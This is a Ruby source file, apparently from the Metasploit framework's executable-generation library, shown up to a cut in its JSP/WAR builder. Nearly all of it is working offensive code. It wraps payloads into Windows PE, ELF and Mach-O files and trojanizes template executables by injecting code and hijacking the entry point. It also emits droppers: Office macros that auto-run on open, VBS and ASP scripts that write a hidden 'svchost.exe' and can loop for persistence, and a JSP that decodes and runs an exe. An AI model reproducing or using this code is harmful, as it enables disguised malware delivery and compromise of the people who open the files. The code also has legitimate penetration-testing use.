1311 lines
48 KiB
Ruby
1311 lines
48 KiB
Ruby
##
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# $Id$
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##
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###
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#
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# framework-util-exe
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# --------------
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#
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# The class provides methods for creating and encoding executable file
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# formats for various platforms. It is a replacement for the previous
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# code in Rex::Text
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#
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###
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module Msf
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module Util
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class EXE
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require 'rex'
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require 'rex/peparsey'
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require 'rex/pescan'
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require 'rex/zip'
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require 'metasm'
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##
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#
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# Executable generators
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#
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##
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def self.to_executable(framework, arch, plat, code='', opts={})
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if (arch.index(ARCH_X86))
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if (plat.index(Msf::Module::Platform::Windows))
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return to_win32pe(framework, code, opts)
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end
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if (plat.index(Msf::Module::Platform::Linux))
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return to_linux_x86_elf(framework, code)
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end
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if(plat.index(Msf::Module::Platform::OSX))
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return to_osx_x86_macho(framework, code)
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end
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# XXX: Add remaining x86 systems here
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end
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if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
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if (plat.index(Msf::Module::Platform::Windows))
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return to_win64pe(framework, code, opts)
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end
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end
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if(arch.index(ARCH_ARMLE))
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if(plat.index(Msf::Module::Platform::OSX))
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return to_osx_arm_macho(framework, code)
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end
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# XXX: Add Linux here
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end
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if(arch.index(ARCH_PPC))
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if(plat.index(Msf::Module::Platform::OSX))
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return to_osx_ppc_macho(framework, code)
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end
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# XXX: Add PPC OS X and Linux here
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end
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nil
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end
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def self.to_win32pe(framework, code, opts={})
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# Allow the user to specify their own EXE template
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opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template.exe")
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# Copy the code to a new RWX segment to allow for self-modifying encoders
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payload = win32_rwx_exec(code)
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# Create a new PE object and run through sanity checks
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endjunk = true
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fsize = File.size(opts[:template])
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pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
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text = nil
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pe.sections.each do |sec|
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text = sec if sec.name == ".text"
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endjunk = false if sec.contains_file_offset?(fsize-1)
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end
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#try to inject code into executable by adding a section without affecting executable behavior
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if(opts[:insert])
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if endjunk
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raise RuntimeError, "Junk at end of file. Is this a packed exe?"
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end
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#find first section file offset and free RVA for new section
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free_rva = pe.hdr.opt.AddressOfEntryPoint
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first_off = fsize
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pe.sections.each do |sec|
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first_off = sec.file_offset if sec.file_offset < first_off
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free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
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end
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#align free_rva
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free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
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#See if we can add a section
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first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
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new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
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if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
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raise RuntimeError, "Not enough room for new section header"
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end
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# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
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start_rva = free_rva
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#make new section, starting at free RVA
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new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
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#pad to file alignment
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new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
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#make new section header
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new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
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new_sechead.v['Name'] = "\x00"*8 # no name
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new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
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new_sechead.v['VirtualAddress'] = free_rva
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new_sechead.v['SizeOfRawData'] = new_sec.length
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new_sechead.v['PointerToRawData'] = fsize
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# Create the modified version of the input executable
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exe = ''
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File.open(opts[:template], 'rb') do |fd|
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exe = fd.read( File.size(opts[:template]) )
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end
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#New file header with updated number of sections and timedatestamp
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new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
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new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
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new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
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new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
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exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
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#new optional header with new entry point, size of image, and size of code
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new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
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new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
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new_opthead.v['AddressOfEntryPoint'] = start_rva
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new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
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new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
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exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
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#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
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exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
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#new section header and new section
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exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
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exe += new_sec
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cks = pe.hdr.opt.CheckSum
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if(cks != 0)
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exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
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end
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pe.close
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return exe
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end
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if(not text)
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raise RuntimeError, "No .text section found in the template exe"
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end
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if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
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raise RuntimeError, "The .text section does not contain an entry point"
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end
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if(text.size < (payload.length + 256))
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raise RuntimeError, "The .text section is too small to be usable"
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end
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# Store some useful offsets
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off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
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off_beg = pe.rva_to_file_offset(text.base_rva)
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# We need to make sure our injected code doesn't conflict with the
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# the data directories stored in .text (import, export, etc)
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mines = []
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pe.hdr.opt['DataDirectory'].each do |dir|
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next if dir.v['Size'] == 0
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next if not text.contains_rva?( dir.v['VirtualAddress'] )
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mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
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end
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# Break the text segment into contiguous blocks
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blocks = []
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bidx = 0
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mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
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bbeg = bidx
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bend = mine[0]
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if(bbeg != bend)
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blocks << [bidx, bend-bidx]
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end
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bidx = mine[0] + mine[1]
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end
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# Add the ending block
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if(bidx < text.size - 1)
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blocks << [bidx, text.size - bidx]
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end
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# Find the largest contiguous block
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blocks.sort!{|a,b| b[1]<=>a[1]}
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block = blocks[0]
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# TODO: Allow the entry point in a different block
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if(payload.length + 256 > block[1])
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raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
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end
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# Make a copy of the entire .text section
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data = text.read(0,text.size)
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# Pick a random offset to store the payload
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poff = rand(block[1] - payload.length - 256)
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# Flip a coin to determine if EP is before or after
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eloc = rand(2)
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eidx = nil
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# Pad the entry point with random nops
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entry = generate_nops(framework, [ARCH_X86], rand(200)+51)
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# Pick an offset to store the new entry point
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if(eloc == 0) # place the entry point before the payload
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poff += 256
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eidx = rand(poff-(entry.length + 5))
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else # place the entry pointer after the payload
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poff -= 256
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eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
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end
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# Relative jump from the end of the nops to the payload
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entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
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# Mangle random bits of the original executable
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1.upto(rand(block[1] / 512)) do
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data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
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end
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# Patch the payload and the new entry point into the .text
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data[block[0] + poff, payload.length] = payload
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data[block[0] + eidx, entry.length] = entry
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# Create the modified version of the input executable
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exe = ''
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File.open(opts[:template], 'rb') do |fd|
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exe = fd.read( File.size(opts[:template]) )
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end
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exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
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exe[off_beg, data.length] = data
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tds = pe.hdr.file.TimeDateStamp
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exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
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cks = pe.hdr.opt.CheckSum
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if(cks != 0)
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exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
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end
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pe.close
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exe
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end
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def self.to_win32pe_old(framework, code, opts={})
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pe = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template-old.exe"), "rb")
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pe = fd.read(fd.stat.size)
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fd.close
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if(code.length < 2048)
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code << Rex::Text.rand_text(2048-code.length)
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end
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if(code.length > 2048)
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raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
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end
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bo = pe.index('PAYLOAD:')
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raise RuntimeError, "Invalid Win32 PE OLD EXE template!" if not bo
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pe[bo, code.length] = code
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pe[136, 4] = [rand(0x100000000)].pack('V')
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ci = pe.index("\x31\xc9" * 160)
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cd = pe.index("\x31\xc9" * 160, ci + 320)
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rc = pe[ci+320, cd-ci-320]
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# 640 + rc.length bytes of room to store an encoded rc at offset ci
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enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
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lft = 640+rc.length - enc.length
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buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
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pe[ci, buf.length] = buf
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# Make the data section executable
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xi = pe.index([0xc0300040].pack('V'))
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pe[xi,4] = [0xe0300020].pack('V')
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# Add a couple random bytes for fun
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pe << Rex::Text.rand_text(rand(64)+4)
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return pe
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end
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def self.to_win64pe(framework, code, opts={})
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pe = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
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pe = fd.read(fd.stat.size)
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fd.close
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bo = pe.index('PAYLOAD:')
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raise RuntimeError, "Invalid Win64 PE EXE template!" if not bo
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pe[bo, code.length] = code
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return pe
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end
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def self.to_win32pe_service(framework, code, name='SERVICENAME')
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pe = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "service.exe"), "rb")
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pe = fd.read(fd.stat.size)
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fd.close
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bo = pe.index('PAYLOAD:')
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raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo
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pe[bo, 8192] = [code].pack("a8192")
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bo = pe.index('SERVICENAME')
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raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo
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pe[bo, 11] = [name].pack('a11')
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pe[136, 4] = [rand(0x100000000)].pack('V')
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return pe
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end
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def self.to_win32pe_dll(framework, code)
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pe = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template.dll"), "rb")
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pe = fd.read(fd.stat.size)
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fd.close
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bo = pe.index('PAYLOAD:')
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raise RuntimeError, "Invalid Win32 PE DLL template!" if not bo
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pe[bo, code.length] = code
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return pe
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end
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def self.to_osx_arm_macho(framework, code)
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mo = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_darwin.bin"), "rb")
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mo = fd.read(fd.stat.size)
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fd.close
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bo = mo.index('PAYLOAD:')
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raise RuntimeError, "Invalid OSX ArmLE Mach-O template!" if not bo
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mo[bo, code.length] = code
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# Not used?
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#co = mo.index('COMMENT:')
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#mo[co, comment.length] = comment
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return mo
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end
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def self.to_osx_ppc_macho(framework, code)
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mo = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_ppc_darwin.bin"), "rb")
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mo = fd.read(fd.stat.size)
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fd.close
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bo = mo.index('PAYLOAD:')
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raise RuntimeError, "Invalid OSX PPC Mach-O template!" if not bo
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mo[bo, code.length] = code
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# Not used?
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#co = mo.index('COMMENT:')
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#mo[co, comment.length] = comment
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return mo
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end
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def self.to_osx_x86_macho(framework, code)
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mo = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_darwin.bin"), "rb")
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mo = fd.read(fd.stat.size)
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fd.close
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bo = mo.index('PAYLOAD:')
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raise RuntimeError, "Invalid OSX x86 Mach-O template!" if not bo
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mo[bo, code.length] = code
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# Not used?
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#co = mo.index('COMMENT:')
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#mo[co, comment.length] = comment
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return mo
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end
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def self.to_linux_x86_elf(framework, code)
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mo = ''
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fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_linux.bin"), "rb")
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mo = fd.read(fd.stat.size)
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fd.close
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# The old way to do it is like other formats, just overwrite a big
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# block of rwx mem with our shellcode.
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#bo = mo.index( "\x90\x90\x90\x90" * 1024 )
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#co = mo.index( " " * 512 )
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#mo[bo, 2048] = [code].pack('a2048') if bo
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# The new template is just an ELF header with its entry point set to
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# the end of the file, so just append shellcode to it and fixup
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# p_filesz and p_memsz in the header for a working ELF executable.
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mo << code
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mo[0x44,4] = [mo.length + code.length].pack('V')
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mo[0x48,4] = [mo.length + code.length].pack('V')
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return mo
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end
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def self.to_exe_vba(exes='')
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exe = exes.unpack('C*')
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vba = ""
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idx = 0
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maxbytes = 2000
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var_magic = Rex::Text.rand_text_alpha(10).capitalize
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var_base = Rex::Text.rand_text_alpha(5).capitalize
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var_base_idx = 0
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# First write the macro into the vba file
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var_fname = var_base + (var_base_idx+=1).to_s
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var_fenvi = var_base + (var_base_idx+=1).to_s
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var_fhand = var_base + (var_base_idx+=1).to_s
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var_parag = var_base + (var_base_idx+=1).to_s
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var_itemp = var_base + (var_base_idx+=1).to_s
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var_btemp = var_base + (var_base_idx+=1).to_s
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var_appnr = var_base + (var_base_idx+=1).to_s
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var_index = var_base + (var_base_idx+=1).to_s
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var_gotmagic = var_base + (var_base_idx+=1).to_s
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var_farg = var_base + (var_base_idx+=1).to_s
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var_stemp = var_base + (var_base_idx+=1).to_s
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# Function 1 extracts the binary
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func_name1 = var_base + (var_base_idx+=1).to_s
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# Function 2 executes the binary
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func_name2 = var_base + (var_base_idx+=1).to_s
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vba << "'**************************************************************\r\n"
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vba << "'*\r\n"
|
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vba << "'* This code is now split into two pieces:\r\n"
|
|
vba << "'* 1. The Macro. This must be copied into the Office document\r\n"
|
|
vba << "'* macro editor. This macro will run on startup.\r\n"
|
|
vba << "'*\r\n"
|
|
vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n"
|
|
vba << "'* appended to the end of the document contents.\r\n"
|
|
vba << "'*\r\n"
|
|
vba << "'**************************************************************\r\n"
|
|
vba << "'*\r\n"
|
|
vba << "'* MACRO CODE\r\n"
|
|
vba << "'*\r\n"
|
|
vba << "'**************************************************************\r\n"
|
|
|
|
# The wrapper makes it easier to integrate it into other macros
|
|
vba << "Sub Auto_Open()\r\n"
|
|
vba << "\t#{func_name1}\r\n"
|
|
vba << "End Sub\r\n"
|
|
|
|
vba << "Sub #{func_name1}()\r\n"
|
|
vba << "\tDim #{var_appnr} As Integer\r\n"
|
|
vba << "\tDim #{var_fname} As String\r\n"
|
|
vba << "\tDim #{var_fenvi} As String\r\n"
|
|
vba << "\tDim #{var_fhand} As Integer\r\n"
|
|
vba << "\tDim #{var_parag} As Paragraph\r\n"
|
|
vba << "\tDim #{var_index} As Integer\r\n"
|
|
vba << "\tDim #{var_gotmagic} As Boolean\r\n"
|
|
vba << "\tDim #{var_itemp} As Integer\r\n"
|
|
vba << "\tDim #{var_stemp} As String\r\n"
|
|
vba << "\tDim #{var_btemp} As Byte\r\n"
|
|
vba << "\tDim #{var_magic} as String\r\n"
|
|
vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
|
|
vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
|
|
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
|
|
vba << "\tChDrive (#{var_fenvi})\r\n"
|
|
vba << "\tChDir (#{var_fenvi})\r\n"
|
|
vba << "\t#{var_fhand} = FreeFile()\r\n"
|
|
vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
|
|
vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
|
|
vba << "\t\tDoEvents\r\n"
|
|
vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
|
|
vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
|
|
vba << "\t\t\t#{var_index} = 1\r\n"
|
|
vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
|
|
vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
|
|
vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
|
|
vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
|
|
vba << "\t\t\tWend\r\n"
|
|
vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
|
|
vba << "\t\t\t#{var_gotmagic} = True\r\n"
|
|
vba << "\t\tEnd If\r\n"
|
|
vba << "\tNext\r\n"
|
|
vba << "\tClose ##{var_fhand}\r\n"
|
|
vba << "\t#{func_name2}(#{var_fname})\r\n"
|
|
vba << "End Sub\r\n"
|
|
|
|
vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
|
|
vba << "\tDim #{var_appnr} As Integer\r\n"
|
|
vba << "\tDim #{var_fenvi} As String\r\n"
|
|
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
|
|
vba << "\tChDrive (#{var_fenvi})\r\n"
|
|
vba << "\tChDir (#{var_fenvi})\r\n"
|
|
vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
|
|
vba << "End Sub\r\n"
|
|
|
|
vba << "Sub AutoOpen()\r\n"
|
|
vba << "\tAuto_Open\r\n"
|
|
vba << "End Sub\r\n"
|
|
|
|
vba << "Sub Workbook_Open()\r\n"
|
|
vba << "\tAuto_Open\r\n"
|
|
vba << "End Sub\r\n"
|
|
vba << "'**************************************************************\r\n"
|
|
vba << "'*\r\n"
|
|
vba << "'* PAYLOAD DATA\r\n"
|
|
vba << "'*\r\n"
|
|
vba << "'**************************************************************\r\n\r\n\r\n"
|
|
vba << "#{var_magic}\r\n"
|
|
|
|
# Writing the bytes of the exe to the file
|
|
1.upto(exe.length) do |pc|
|
|
while(c = exe[idx])
|
|
vba << "&H#{("%.2x" % c).upcase}"
|
|
if (idx > 1 and (idx % maxbytes) == 0)
|
|
# When maxbytes are written make a new paragrpah
|
|
vba << "\r\n"
|
|
end
|
|
idx += 1
|
|
end
|
|
end
|
|
return vba
|
|
end
|
|
|
|
def self.to_win32pe_vba(framework, code, opts={})
|
|
to_exe_vba(to_win32pe(framework, code, opts))
|
|
end
|
|
|
|
def self.to_exe_vbs(exes = '', opts={})
|
|
delay = opts[:delay] || 5
|
|
persist = opts[:persist] || false
|
|
|
|
exe = exes.unpack('C*')
|
|
vbs = ""
|
|
|
|
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
|
|
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
vbs << "Function #{var_func}()\r\n"
|
|
|
|
vbs << "#{var_bytes}=Chr(#{exe[0]})"
|
|
|
|
lines = []
|
|
1.upto(exe.length-1) do |byte|
|
|
if(byte % 100 == 0)
|
|
lines.push "\r\n#{var_bytes}=#{var_bytes}"
|
|
end
|
|
# exe is an Array of bytes, not a String, thanks to the unpack
|
|
# above, so the following line is not subject to the different
|
|
# treatments of String#[] between ruby 1.8 and 1.9
|
|
lines.push "&Chr(#{exe[byte]})"
|
|
end
|
|
vbs << lines.join("") + "\r\n"
|
|
|
|
vbs << "Dim #{var_obj}\r\n"
|
|
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
|
vbs << "Dim #{var_stream}\r\n"
|
|
vbs << "Dim #{var_tempdir}\r\n"
|
|
vbs << "Dim #{var_tempexe}\r\n"
|
|
vbs << "Dim #{var_basedir}\r\n"
|
|
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
|
|
|
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
|
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
|
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
|
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
|
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
|
vbs << "#{var_stream}.Close\r\n"
|
|
vbs << "Dim #{var_shell}\r\n"
|
|
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
|
|
|
vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
|
|
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
|
|
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
|
|
vbs << "End Function\r\n"
|
|
|
|
vbs << "Do\r\n" if persist
|
|
vbs << "#{var_func}\r\n"
|
|
vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
|
|
vbs << "Loop\r\n" if persist
|
|
vbs
|
|
end
|
|
|
|
def self.to_exe_asp(exes = '', opts={})
|
|
exe = exes.unpack('C*')
|
|
vbs = "<%\r\n"
|
|
|
|
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
|
|
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
vbs << "Sub #{var_func}()\r\n"
|
|
|
|
vbs << "#{var_bytes}=Chr(#{exe[0]})"
|
|
|
|
lines = []
|
|
1.upto(exe.length-1) do |byte|
|
|
if(byte % 100 == 0)
|
|
lines.push "\r\n#{var_bytes}=#{var_bytes}"
|
|
end
|
|
# exe is an Array of bytes, not a String, thanks to the unpack
|
|
# above, so the following line is not subject to the different
|
|
# treatments of String#[] between ruby 1.8 and 1.9
|
|
lines.push "&Chr(#{exe[byte]})"
|
|
end
|
|
vbs << lines.join("") + "\r\n"
|
|
|
|
vbs << "Dim #{var_obj}\r\n"
|
|
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
|
|
vbs << "Dim #{var_stream}\r\n"
|
|
vbs << "Dim #{var_tempdir}\r\n"
|
|
vbs << "Dim #{var_tempexe}\r\n"
|
|
vbs << "Dim #{var_basedir}\r\n"
|
|
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
|
|
|
|
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
|
|
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
|
|
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
|
|
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
|
|
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
|
|
vbs << "#{var_stream}.Close\r\n"
|
|
vbs << "Dim #{var_shell}\r\n"
|
|
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
|
|
|
|
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
|
|
vbs << "End Sub\r\n"
|
|
|
|
vbs << "#{var_func}\r\n"
|
|
vbs << "%>\r\n"
|
|
vbs
|
|
end
|
|
|
|
def self.to_win32pe_vbs(framework, code, opts={})
|
|
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
|
end
|
|
|
|
def self.to_win32pe_asp(framework, code, opts={})
|
|
to_exe_asp(to_win32pe(framework, code, opts), opts)
|
|
end
|
|
|
|
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload.
|
|
# The jsp page converts the hexdump back to a normal .exe file and places it in
|
|
# the temp directory. The payload .exe file is then executed.
|
|
def self.to_jsp_war(framework, arch, plat, code='', opts={})
|
|
|
|
exe = to_executable(framework, arch, plat, code, opts)
|
|
jsp_name = opts[:jsp_name]
|
|
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
|
|
# begin meta-inf/
|
|
minf = [ 0xcafe, 0x0003 ].pack('Vv')
|
|
zip.add_file('META-INF/', nil, minf)
|
|
# end meta-inf/
|
|
|
|
# begin meta-inf/manifest.mf
|
|
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
|
|
zip.add_file('META-INF/MANIFEST.MF', mfraw)
|
|
# end meta-inf/manifest.mf
|
|
|
|
# begin web-inf/
|
|
zip.add_file('WEB-INF/', '')
|
|
# end web-inf/
|
|
|
|
# begin web-inf/web.xml
|
|
webxmlraw = %q{<?xml version="1.0"?>
|
|
<!DOCTYPE web-app PUBLIC
|
|
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
|
|
"http://java.sun.com/dtds/web-app_2_3.dtd">
|
|
<web-app>
|
|
<servlet>
|
|
<servlet-name>NAME</servlet-name>
|
|
<jsp-file>/PAYLOAD.jsp</jsp-file>
|
|
</servlet>
|
|
</web-app>
|
|
}
|
|
var_name = Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
|
webxmlraw.gsub!(/NAME/, var_name)
|
|
webxmlraw.gsub!(/PAYLOAD/, jsp_name)
|
|
|
|
zip.add_file('WEB-INF/web.xml', webxmlraw)
|
|
# end web-inf/web.xml
|
|
|
|
# begin <payload>.jsp
|
|
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
|
jspraw << "<%\n"
|
|
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
|
|
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
|
jspraw << "String #{var_data} = \"\";\n"
|
|
|
|
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
|
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
|
jspraw << "}\n"
|
|
|
|
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
|
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
|
|
|
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
|
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
|
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
|
jspraw << "#{var_inputstream}.close();\n"
|
|
|
|
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
|
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
|
jspraw << "{\n"
|
|
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
|
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
|
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
|
jspraw << "#{var_comb} <<= 4;\n"
|
|
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
|
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
|
jspraw << "}\n"
|
|
|
|
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
|
jspraw << "#{var_outputstream}.close();\n"
|
|
|
|
